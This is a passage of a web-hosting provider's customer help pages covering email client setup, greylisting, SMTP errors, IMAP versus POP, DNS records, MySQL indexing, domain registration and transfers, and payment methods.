4. In the Add Account window, enter your full name, email address and email password.
5. Click Continue
6. In the Incoming Mail Server screen, select POP or IMAP from the Account Type list, and complete your information as follows:
Description: This is where you can name this account which you will only see internally, helping you to identify this account later..
Incoming mail server: POP mail.yourdomain. OR IMAP mail.yourdomain.
User Name: The username wiil be your full email address (example@yourdomain.com).
Password: Enter the password that you used when creating your account.
Click Continue.
7. In the Outgoing Mail Server screen complete your information as follows:
Description: This is where you can name this account which you will only see internally, helping you to identify this account later.
Outgoing mail server: The Outgoing mail server will be mail.yourdomain.com
Under Authentication type choose 'Password'
Under SMTP Port choose default port 25 or enter port 587 in case your ISP blocked port 25. Note: You will have to check and see which one connects if 25 doesnot then use 587
8. Check the Use Authentication box, and then enter your Email User Name and Email Password.
Click Continue.

Follow the steps below to setup your email in Apple's Entourage

1) Open Entourage, go to the "Tools" menu (if you get other pop-up screens when opening Outlook Express, close them until you can click on the "Tools" menu), and click on "Accounts..."



2) When the "Internet Accounts" window appears, click on the "Mail" tab. Click and hold on the "New" button, moving your pointer over the "Mail..." label and release the mouse button.



3) When the "Account Setup Assistant" dialog starts, begin filling out Your name: the name you want to appear on all your emails you send to people. At the bottom left of this window, click Configure account manually.





4) In the New Account window, choose IMAP, the recommended protocol for U of MN e-mail, unless, as an advanced user, you have a reason to use POP. Click OK.



5) In the Edit Account window, fill in the following information:

Account Settings
Account name: Your full name
Include this account...: (optional)

Personal information
Name: Your full name
E-mail address: @umn.edu

Receiving mail
Account ID:
IMAP server: mail.yourdomain.com (where yourdomain is your own domain name)
Password/Save password: (optional)

Sending mail



6) Set advanced receiving options:

This IMAP service requires a secure connection (SSL) should be checked.

Override default IMAP port: check if 993 isn't set, and reset to 993 if needed.



7) Set advanced sending options:

SMTP service requires secure connection (SSL) should be checked.

Override default SMTP port should be checked and changed to 587. If you have trouble sending e-mail with this configuration, try port 465 instead.

SMTP server requires authentication should be checked.
Use same settings as incoming mail server should be set.



8) Settings in the Options tab are optional. The settings shown in the Advanced tab are preferred, but the "Delete options" can be altered to suit your needs.



<

When attempting to log into G7Mail, you may receive one of the following error messages

Login failed .
1. Verify that you are using your correct username and password.
2. Ensure that you do not have Capslock turned on.
3. Reset your mailbox password through your G7Panel

If all fails kindly create an Helpdesk Ticket..here

What is greylisting?

Greylisting is a term used to describe a spam-blocking method. Greylisting blocks spam at the mail server level, and is based on the behaviour of the sending mail server rather than on the content of the message.

How does greylisting work?

Any new email message that is seen by the G7Mail server for the first time is temporarily rejected for delivery. Sending mail servers that are properly configured will send the message again, typically within a short time. When the second delivery attempt is made, the G7Mail system will accept the message and record in a database that this mail server is legitimate. Any future email messages sent from this particular server will be delivered without delays for 21 days.

Greylisting is effective because many mass e-mail tools utilized by spammers are not set up to handle temporary bounces (or any bounces, for that matter; they will never bother to retry a failed delivery), so the spam is never delivered.

Does greylisting stop all spam?

No system can be 100% effective in stopping spam. Implementation of greylisting has been proven to significantly reduce the amount of spam received.

Will greylisting block valid email messages?

Greylisting will eventually allow all mail servers that follow internet standards for resending messages to process normally. However, some legitimate mail systems don't follow these standards.

Will there be long delays in delivery of email to me?

Delays in email delivery will depend on the settings of the sending mail server. E-mail affected by greylisting will be delayed a minimum of 10 seconds. This is the delay interval required in order to prevent immediate redelivery by already-connected SPAM servers. The message may be redelivered without challenge by the servers for up to 12 hours. After 12 hours, the original record of the message is destroyed and the challenge/redelivery process must begin again.

Internet specifications suggest that messages temporarily refused should be redelivered within 4 hours, and most servers are configured to retry in far less time - often on the order of 5 minutes. The specific delay will depend on the configuration of the sender's e-mail servers

How does greylisting help me?

Greylisting should block a large percentage of spam. You should see less spam in your Inbox. Most email that is processed by the G7Mail system is spam. Greylisting will reduce the amount of unwanted email that comes into the G7Mail system and therefore should reduce the overall system load, thus improving performance.

Can I turn off greylisting?

No. Greylisting is implemented at the mail server level.

SMTP Error 513 : This status code (from the sender's mail server) is usually symptomatic, in an Exchange + Outlook environment, of the user's Outlook Contacts having been imported from another system or PST and where some of the addresses are not defined correctly. Or, in any environment it is simply that the end-user simply did enter the email address completely wrongly, such as copying it from a website and not replacing "at" with "@", e.g. : John.DoeatUCLA.edu (which should have been John.Doe@UCLA.edu), or John.Doe@UCLA.edu" (", quotes, is not allowed in email addresses and is often included in error as a result of copying and pasting an email from somewhere).

The user should check all the recipient addresses in the email, including those that were inserted from Contacts. Note : the SMTP reply code 5.1.3 is often a secondary reply code.

Some mail servers, for example, might reply

  • "SMTP error 501 5.1.3 Invalid address", or
  • "SMTP error 553 5.1.3 User address required !", or
  • "SMTP error 501 5.1.3 Bad recipient address syntax", or
  • "SMTP error 513 Relaying Denied - Can not send e-mails to some addresses",
  • or this excellently informational Exchange Server 2007 error (the whole error message is in green below) :

"SMTP error 550 5.1.3 STOREDRV.Submit; invalid recipient address. Delivery has failed to these recipients or distribution lists: The format of the recipient's e-mail address isn't valid. A valid address looks like this: username@microsoft.com. Microsoft Exchange will not try to redeliver this message for you. Please check the e-mail address and try sending the message again, or provide the following diagnostic text to your system administrator. 5.1.3: The format of the recipient e-mail address is not valid. Valid SMTP e-mail addresses can contain only letters, numbers, hyphens, periods, and only one @ symbol. Troubleshooting: Verify that the SMTP address of the recipient is formatted correctly and resend the message."

Mozilla Thunderbird is a free, third party email client that offers easy setup and customization with a user-friendly interface. This article will explain the general setup of Mozilla Thunderbird.


Mozilla Thunderbird is available for download at the following link: Download Mozilla Thunderbird

Prerequisites
Before setting up Mozilla Thunderbird, please be sure the following items have been done.

i. Your domain name has been propagated
ii. The email account has been created in the hosting control panel

How to Set Up Thunderbird

1. Open the Thunderbird application.
2. Go to Tools and click on Accounts Settings.
3. In the Account Settings popup window, click on Add Account.
When the Account Wizard window appears, select Email account.
4. Click Next.
5. Enter your name and email address in the input boxes. This does NOT have to be your username@yourdomain.com. Email addresses such as name@yourdomain.com, webmaster@yourdomain.com, etc. are acceptable as long as they are set up in your G7Panel.
7. Click Next.
8. You can select either POP or IMAP - both are supported on our servers. If you plan on setting up your mail on many computers use IMAP.

POP: Downloads emails to your local computer and removes the copy from the server.
i. Good for preventing your inbox from becoming slow or full
ii. Allows you to view emails offline.
iii. Since the emails are downloaded and removed from the server, you cannot receive emails on other computers you may have.

IMAP: Accesses emails only when you are viewing them, always keeping a copy on the server.
i. Good for accessing emails from many computers (from the office to your home)
ii. Requires that you have an internet connection when viewing emails

9. In the Incoming Server field, enter mail.yourdomain.com (replacing yourdomain.com with your actual domain)
10. Click Next.
11. Type in your username that is setup in your control panel using the following format: yourusername@yourdomain.com
12. Click Next.
13. Add your email account username that is setup in your control panel.
14. Click Next.
15. Click Finish to end the initial setup and incoming server settings.
16. Click on Outgoing Server (SMTP) in Account Settings to begin the setup of the outgoing mail servers.
17. Click Add.
18. Now fill in the following in the popup:
i. Description: Enter your email address
ii. Server Name: Type in your mail server (mail.yourdomain.com)
iii. Port: You put 587. Since most of the isps block port 25.
iv. Make sure the checkbox is checked for "User name and password"
v. User Name: Type in your full email address. Again, make sure you have created this account in your G7Panel.
vi. Make sure that TLS, if available, is selected
vii. Click OK to finish.

The following steps are required to configure email on most Samsung branded Android phones or tablets:
Locate your Settings icon within your App Drawer.



Within Settings, scroll down and select Add Account.



Select Email from within the Add account section.



Enter your Email Address and Password, then select Next.



Select IMAP for Account Type.



Enter the following information for Incoming server settings: Username: Your complete email address

Password: Your email address password
IMAP server: mail.yourdomain
Security type: SSL
Port: 993

Enter the following information for Outgoing server settings: SMTP server: secure.emailsrvr.com

Security type: TLS
Port: 587
Require sign-in: Must be check-marked
Username: Your complete email address
Password: Your email address password

Click Next on this screen.

FAQs

If you've ever set up an email account before, you've probably been asked which email protocol you would like to use: POP or IMAP. However, the selection that you make will have a major impact on your experience of sending, receiving and otherwise using email messages. While POP, or Post Office Protocol, used to be the most popular type of email protocol, IMAP - or Internet Message Access Protocol - is the go-to choice of most people these days. Learn more about what IMAP is, how it works, how it compares to POP and its main advantages below.

IMAP: The Basics
As its name implies, IMAP allows you to access your email messages wherever you are; much of the time, it is accessed via the Internet. Basically, email messages are stored on servers. Whenever you check your inbox, your email client contacts the server to connect you with your messages. When you read an email message using IMAP, you aren't actually downloading or storing it on your computer; instead, you are reading it off of the server. As a result, it's possible to check your email from several different devices without missing a thing.

Mail Servers, Email Clients and IMAP
The easiest way to understand how IMAP works is by thinking of it as an intermediary between your email client and your email server. Email servers are always used when sending and receiving email messages. With IMAP, though, they remain on the server unless you explicitly delete them from it. When you sign into an email client like Microsoft Outlook, it contacts the email server using IMAP. The headers of all of your email messages are then displayed. If you choose to read a message, it is quickly downloaded so that you can see it - emails are not downloaded unless you need to open them.

IMAP versus POP
If you think that IMAP and POP are interchangeable, think again. POP works by contacting your email server and downloading all of your new messages from it. Once they are downloaded, they disappear from the server. If you decide to check your email from a different device, the messages that have been downloaded previously will not be available to you. POP works fine for those who generally only check their email messages from a single device; those who travel or need to access their email from various devices are much better off with IMAP-based email service.

Using IMAP
Unlike POP, IMAP allows you to access, organize, read and sort your email messages without having to download them first. As a result, IMAP is very fast and efficient. The server also keeps a record of all of the messages that you send, allowing you to access your sent messages from anywhere. IMAP does not move messages from the server to your computer; instead, it synchronizes the email that's on your computer with the email that's on the server.

Main Advantages of IMAP
There are several advantages to using IMAP. First, it allows you to access your email messages from anywhere, via as many different devices as you want. Second, it only downloads a message when you click on it. As a result, you do not have to wait for all of your new messages to download from the server before you can read them. Third, attachments are not automatically downloaded with IMAP. As a result, you're able to check your messages a lot more quickly and have greater control over which attachments are opened. Finally, IMAP can be used offline just like POP - you can basically enjoy the benefits of both protocols in one.

As the world becomes more mobile than ever, IMAP is becoming more and more popular. The proliferation of smartphones, laptops, tablets and other devices is making the demand for IMAP stronger than ever. While POP will remain popular with people who only access their email via one or two devices - and those who have slow connections to the Internet - IMAP is sure to remain the protocol of choice for most of today's busy people.

Kindly ensure that;
1. The Domain is Active under your Jolis.net Account
2. If hosted by Jolis the DNS Records should point to our servers and its Hosting should not be suspended
3. Alternatively, you can check for the Domain status through http://who.is to find out whether its Active, Inactive, Redemption etc

1. Login to the Jolis Intercom DNS Control Panel see instructions here


Please follow the guidelines below:


CNAME is short for canonical name, also referred to as a CNAME record, a record in a DNS database that indicates the true, or canonical, host name of a computer that its aliases are associated with.


CNAME-records can be used when a computer or service needs to be renamed, to temporarily allow access through both the old and new name.


1. A CNAME-record should always point to an A-record and never to itself or another CNAME-record to avoid circular references:


In the following example, an A record binds a hostname to an IP address, while a CNAME record points the commonly used www hostname to it:


server1 IN A 10.0.1.5 www IN CNAME server1 2. Often a CNAME is used to point a subdomain to another domain. Here is an example of a CNAME:


www.foobarbaz.com. IN CNAME eric.foobarbaz.com.


In our CP, configure a CNAME as follows:


Example: to point www1.mydomain.com to point to


www.mydomain.com:


Host to enter: www1 For Type choose CNAME and for Data enter: www Result: Browsing to www1.mydomain.com would render the same page as www.mydomain.com


3. One of the times where CNAME records can be useful is when you want a subdomain to point to a computer outside of your domain. For example, you might want "news.example.com" to go to your ISP's newsserver. Instead of putting in the IP address, you could put configure the following:


Host to enter: news.example.com


CNAME to enter: news.myisp.com


That way if the IP address of the newsserver changed, you wouldn't have to make any changes.


4. Another simple example of CNAME is when you wish to mask your domain:


Example: To point www.yourdomain.com to another website while maintaining www.yourdomain.com in the address bar of the browser:


Host: to enter: www For Type choose CNAME and for Data enter: www.anotherdomain.com

One of the most important prerequisites for achieving optimal MySQL database performance is indexing. Indexing is an internal MySQL feature that allows faster gathering of data.

Let's take an example table called ''sample'' with only two rows ''number'' and ''employee''. If you run a simple query such as:

SELECT * FROM sample WHERE number = 4;

MySQL will check all records and will return only the one that has its number value set to 4.

But if you have several thousand entries for example, this will be a slow query. In this case we have a unique field 'number'. Therefore, we can create an index for it. Indexing will create an internal register that is saved in by the MySQL service. It can be done with the following query:

ALTER TABLE sample ADD INDEX (number);

Once this index is set, next time you want to get the information for employee number 4, the service will go directly to it using the index and will return the information much faster.

This is just a very basic example. For bigger databases, the difference in the loading time can be significant. Indexing your database can drastically decrease the loading time of your web applications.

There is another query that you can use to increase the loading speed of your database:

OPTIMIZE TABLE sample;

If you've ever set up an email account before, you've probably been asked which email protocol you would like to use: POP or IMAP. However, the selection that you make will have a major impact on your experience of sending, receiving and otherwise using email messages. While POP, or Post Office Protocol, used to be the most popular type of email protocol, IMAP - or Internet Message Access Protocol - is the go-to choice of most people these days. Learn more about what IMAP is, how it works, how it compares to POP and its main advantages below.

IMAP: The Basics
As its name implies, IMAP allows you to access your email messages wherever you are; much of the time, it is accessed via the Internet. Basically, email messages are stored on servers. Whenever you check your inbox, your email client contacts the server to connect you with your messages. When you read an email message using IMAP, you aren't actually downloading or storing it on your computer; instead, you are reading it off of the server. As a result, it's possible to check your email from several different devices without missing a thing.

Mail Servers, Email Clients and IMAP
The easiest way to understand how IMAP works is by thinking of it as an intermediary between your email client and your email server. Email servers are always used when sending and receiving email messages. With IMAP, though, they remain on the server unless you explicitly delete them from it. When you sign into an email client like Microsoft Outlook, it contacts the email server using IMAP. The headers of all of your email messages are then displayed. If you choose to read a message, it is quickly downloaded so that you can see it - emails are not downloaded unless you need to open them.

IMAP versus POP
If you think that IMAP and POP are interchangeable, think again. POP works by contacting your email server and downloading all of your new messages from it. Once they are downloaded, they disappear from the server. If you decide to check your email from a different device, the messages that have been downloaded previously will not be available to you. POP works fine for those who generally only check their email messages from a single device; those who travel or need to access their email from various devices are much better off with IMAP-based email service.

Using IMAP
Unlike POP, IMAP allows you to access, organize, read and sort your email messages without having to download them first. As a result, IMAP is very fast and efficient. The server also keeps a record of all of the messages that you send, allowing you to access your sent messages from anywhere. IMAP does not move messages from the server to your computer; instead, it synchronizes the email that's on your computer with the email that's on the server.

Main Advantages of IMAP
There are several advantages to using IMAP. First, it allows you to access your email messages from anywhere, via as many different devices as you want. Second, it only downloads a message when you click on it. As a result, you do not have to wait for all of your new messages to download from the server before you can read them. Third, attachments are not automatically downloaded with IMAP. As a result, you're able to check your messages a lot more quickly and have greater control over which attachments are opened. Finally, IMAP can be used offline just like POP - you can basically enjoy the benefits of both protocols in one.

As the world becomes more mobile than ever, IMAP is becoming more and more popular. The proliferation of smartphones, laptops, tablets and other devices is making the demand for IMAP stronger than ever. While POP will remain popular with people who only access their email via one or two devices - and those who have slow connections to the Internet - IMAP is sure to remain the protocol of choice for most of today's busy people.

POP3 and IMAP are two different ways of checking mail. A mail client program connects to the mail server using either POP3 or IMAP. All Jolis mail accounts support both POP3 and IMAP connections when enabled (enable POP3 services).

POP3


POP3 downloads all mail from the server from the inbox and stores it on your computer. The emails are removed from the server and only stored locally in your mail client program. Emails are available when you're not connected to the internet.

IMAP
IMAP syncs your mail client program with the server. Emails stay on the server, and you can make and view mail folders on the server in addition to the inbox. Most mail client program have a feature to initially sync just the email headers, so you can quickly see what emails you have, then download the message body when you want to read the email. Since emails stay on the server, you can see all your emails from many mail client programs or devices. Webmail uses IMAP.

Which should you choose?
Use IMAP if you want to check email from multiple computers or devices. Use POP3 if you want your emails accessible always, even when there's no internet connection. If you have been using IMAP and have some mail stored in folders other than the inbox, move the emails to the inbox before using POP3.

For you to be able to use any of our services you must have to first create an Account with us, see below instructions on how to create yourself an Account;

1. Visit www.jolis.net

2. Under Account Click Create Account

3. Fill in the Form with your particulars for example,

Login Information:
(i) Username & Password: Any thing that you can always remember
(ii) Secret Question & Answer: This will help you in password retrieval ie when you loose your login credentails

Contact Information:
(i) First Name and Last name: Your Names
(ii) Organisation Name: Your Organisation name
(iii) Job Title: The Title/Position that you hold in that Organisation
(iv) Email Address: Ensure that you use an Active Email Account since all details will be forwarded to that contact Email
(v) Address1: This is your Physical Location eg. Plot Number
(vi) Address2: This is your Postal Address
(Vii) City: The city that you are located in
(vii) Province: Put EA if in East Africa
(ix) Postal/ZIP Code: Put your Country Code if in Uganda use 256, Kenya 254
(x) Country: Select your Country from the dropdown list
(xi) Country Phone Code: Select your Phone Country Code from the dropdown list
(xii) Phone Number: This should start with your number minus a zero (0) eg. 772100000
(xiii) Fax: Put your Fax Number, you can use your Phone Number if you dont have one
(xiv) Comments: This is Optional
(xv) Human Verification: Enter the Human Verification code provided

4. Click Submit Form

Domain Registration is the process in which a registrar (a company certified by ICANN) adds your domain name as a new entry inside the master database. In order to use a domain name, it must first be registered (added to a database). The company InterNIC holds the master database of domain names.

1. Login into your Jolis.net Account, If you don't have one. Please click here to create  your jolis account

2. Under Domain Services Click Register Domain

3. Check the Availability of the Domain that you want to Register by entering it in the Test Box and choosing the extension from the list eg .com..net,.ug. Click CHECK AVAILABILITY

4. If the Domain is available for Registration the Status will be Available then Click UPDATE SELECTION/CONTINUE. If its already taken the status will be Unavailable and you will be provided with available options, Click SEARCH AGAIN to make another choice

5. Under Order Summary Click on PROCEED TO CHECKOUT

6. This will give you your Order Info, from the Payment Options Choose the one that you want to use and Agree to the Terms of Service

7. Click Submit to Complete the Order Process

Once Payment is made your Domain will be Registered and ready for use in the next 5 Minutes

In order to Renew your Domain Name:

1. Login to your account.

2. Click the Manage Domains link under Domains.

3. Click the "R" icon below to the domain name you want to renew.

4. If you are not taken to your cart, please go there by clicking "My Cart" under "Account" main menu, in the cart you can select the number of years you want to add to your domain name. Be sure to click the 'Update Cart' link.


You can go back to the domain manage page and add other renewals to your cart and when you are done pay for them all at one time.


Domain renewal orders are normally completed within 2 minutes.

In order for you to Register a Domain Name it must be Availabe for Registration ie no one else must have registered it before.. See below on how to check for the Availability

1. Visit www.jolis.net OR Login into your Jolis.net Account, See link on how to create an Account if you dont have one http://www.jolis.net/kb.php?cat=16&action=article&id=203

2. Under Domain Services Click Register Domain

3. Check the Availability of the Domain that you want to Register by entering it in the Test Box and choosing the extension from the list eg .com..net,.ug. Click CHECK AVAILABILITY

4. If the Domain is available for Registration the Status will be Available then Click UPDATE SELECTION/CONTINUE. If its already taken the status will be Unavailable and you will be provided with available options, Click SEARCH AGAIN to make another choice

When you Register a Domain with Jolis Intercom we give you Full control over it that is to say you have all the Domain Management Tools at hand.
The following steps provide guidance towards changing the Nameservers your domain is currently using:

1. Login to your account.

2. Click the Manage Domains link under the Domain menu.

3. Look up the domain using the search bar

4. Click the "M" icon below the domain name you wish to change nameservers for.

5. Click the "Change Nameservers" link under Management Tools.

6. Choose Custome Nameservers in the dropdown box and fill in the required information

7. Click the submit button.

NOTE:
If you wish to use our default nameservers, select Default Nameservers in the drawdown box and click the submit button.

This step-by-step guide describes how to configure Domain Name System (DNS) Records for Internet access with TheG7 DNS system right from your Jolis.Net account. DNS is the core name resolution tool that is used on the Internet. DNS handles resolution between host names and Internet addresses.

If you already have an IP address that is hosting your website, you can point your domain to the IP address by configuring anA-recordfor your domain.

A-records are used to map domain names and web server IPs.For instance,www.yourdomain.com (where yourdomain.com is your registered domain name hosted and or registered at Jolis Intercom) OR sub-domain.yourdomain.com can be mapped to an IP address. For yourwww.yourdomain.com to be mapped to an IP address, simply enter www in the field in front of yourdomain.com.

To create your DNS records:

1. Login to your Jolis.Net account

2. Click Manage Domains under Domains


3. Click "M" Icon beneath the domain name for which you want to create DNS records for


4. Click DNS Manager under Management Tools

5. Next you will be on the DNS Manager Interface.

Initially we create for you 3 DNS records automatically (MX records & Nameserver Records). So you would then be required to create more 2 DNS records.

1.1. Create the * record by entering the following information in the fourth row:

under Host enter: *
under Type: Leave default (A)
under Data enter: your ip address (eg 123.123.123.123)
click "add" button
1.2. Create the yourdomain.com. record by entering the following informatin in the fifth row:
under Host: (leave blank)
under Type: Leave default (A)
under Data enter: your ip address (eg 123.123.123.123)
click "add" button

When a Domain name expires you are always given a period of one month to get it Renewed, if you dont do it with in that time it enters into Redemption

Once your domain is in "redemption period" status, you will pay ($200.00) a considerable amount more than usual to renew the domain. If your domain's registrar was transferred to Jolis, or if you registered through Jolis, please contact billing@jolis.net to renew the domain. Please include the domain name, your phone number.

Alternatively, you can wait for the Domain to get Droped and Register it as a New Domain at the usual domain registration fee.

We therefore advice you to constantly visit your Jolis.net Account for updates on when your Domains will be expirying so that you can do the renewals at the right times to avoid incuring those redemption charges

See link below for a detailed Domain price list;
http://www.jolis.net/pricingfull.php

You may make payments using any of the methods below -

1) You may use a credit/visa card
2) Send Mobile Money:

ZAP: 0750-567374
MTN: 0776-567374
M-SENTE: 0711-567374
WARID-PESA: 0703-567374 MPESA: (+254)718-086598

In this case under reason write INVOICE plus the invoice number as shown below;
INVOICE 0000, where 0000 is your invoice number

Note: When sending Mobile Money you should always include the withdraw charges/fees.

3) Come directly to our offices (http://www.jolis.net/kb.php?cat=19&action=article&id=146)
4) or Use the information below to make payments in Uganda.

For direct bank deposits ...
Make A Deposit on any of the Accounts numbers:

UGX: 0316000239
USD: 0313000049
A/C Name: The Great Seven Ltd
Bank Name: United Bank For Africa (UBA)


There after Scan the receipt issued to you by the bank and send it through a Helpdesk ticket

Note:
1. Bank cash deposits will take 24 hours to be processed since we have to verify with the Bank and confirm that the deposit has been made.
2. Bank cheque deposits will be processed the moment the cheque matures

For a more detailed form of payments, follow this URL:

http://www.jolis.net/kb.php?action=article&id=20

Mobile Money is one of the supported forms of payment one can use to payoff their invoice

Send Mobile Money to any of the Mobile Money provider below:

ZAP: 0750-567374
MTN: 0776-567374
M-SENTE: 0711-567374
WARID-PESA: 0703-567374
MPESA: (+254)718-086598

In this case under reason write INVOICE plus the invoice number as shown below;
INVOICE 0000, where 0000 is your invoice number

Note: When sending Mobile Money you should always include the withdraw charges/fees of the amount that you sending for example if your invoice is $9.90 = 24750Ugx you should include the 700Ugx for withdrawing so that we get our exact cut.

For a more detailed form of payments, follow this URL:

http://www.jolis.net/kb.php?action=article&id=20

A Domain Push is simply Reassigning a domain name to another Jolis member so that they take full control over the domain (Full Domain Management).

1. Login to Your Jolis.net Account with your usermane and password

2. Click Manage Domains under Domains

3. Click on the "M" Icon below the Domain you want to push to another Account/User


4. This action will bring you to the Next window below look at the extreem bottom of the Management Tools and click on the ''Push to Another Account" link.

5. Enter the exact User name to receive the Domain you pushing and also create a Password for the push and click Submit

6. The password you create is the one you send to the receiver so that they can redeem the pushed domain into their Account

Note: The username and password are case sensitive if the receiver enters a wrong one they wont receive the domain into their Account.

You will get a sucess nortification message: Sucess: Mission accomplished, See Below;


What does the one receiving the Pushed Domain do

1. Login to your Jolis.net Account

2. Once logged in you will see an Alert message **ALERT: Pending Domain Ownership Transfer. Click HERE **

3. You Cllick on the Alert Message

4. Type the Push Password that was provided to you by the current owner of the Domain

5. Click Claim

You will receive a Mission accomplished sucess Message

The Domain Push will be successfully completed and the Domain will be listed among your owned Domains.

Domain locking is a free security enhancement offered by Jolis Intercom to prevent unauthorized transfers of your domain to another registrar or web host by "locking" your domain name servers. When your domain is locked, you'll be substantially protected from unauthorized third parties who might try to misdirect your name servers or transfer your domain without your permission.

How to get your Domain Locked / Unlocked through you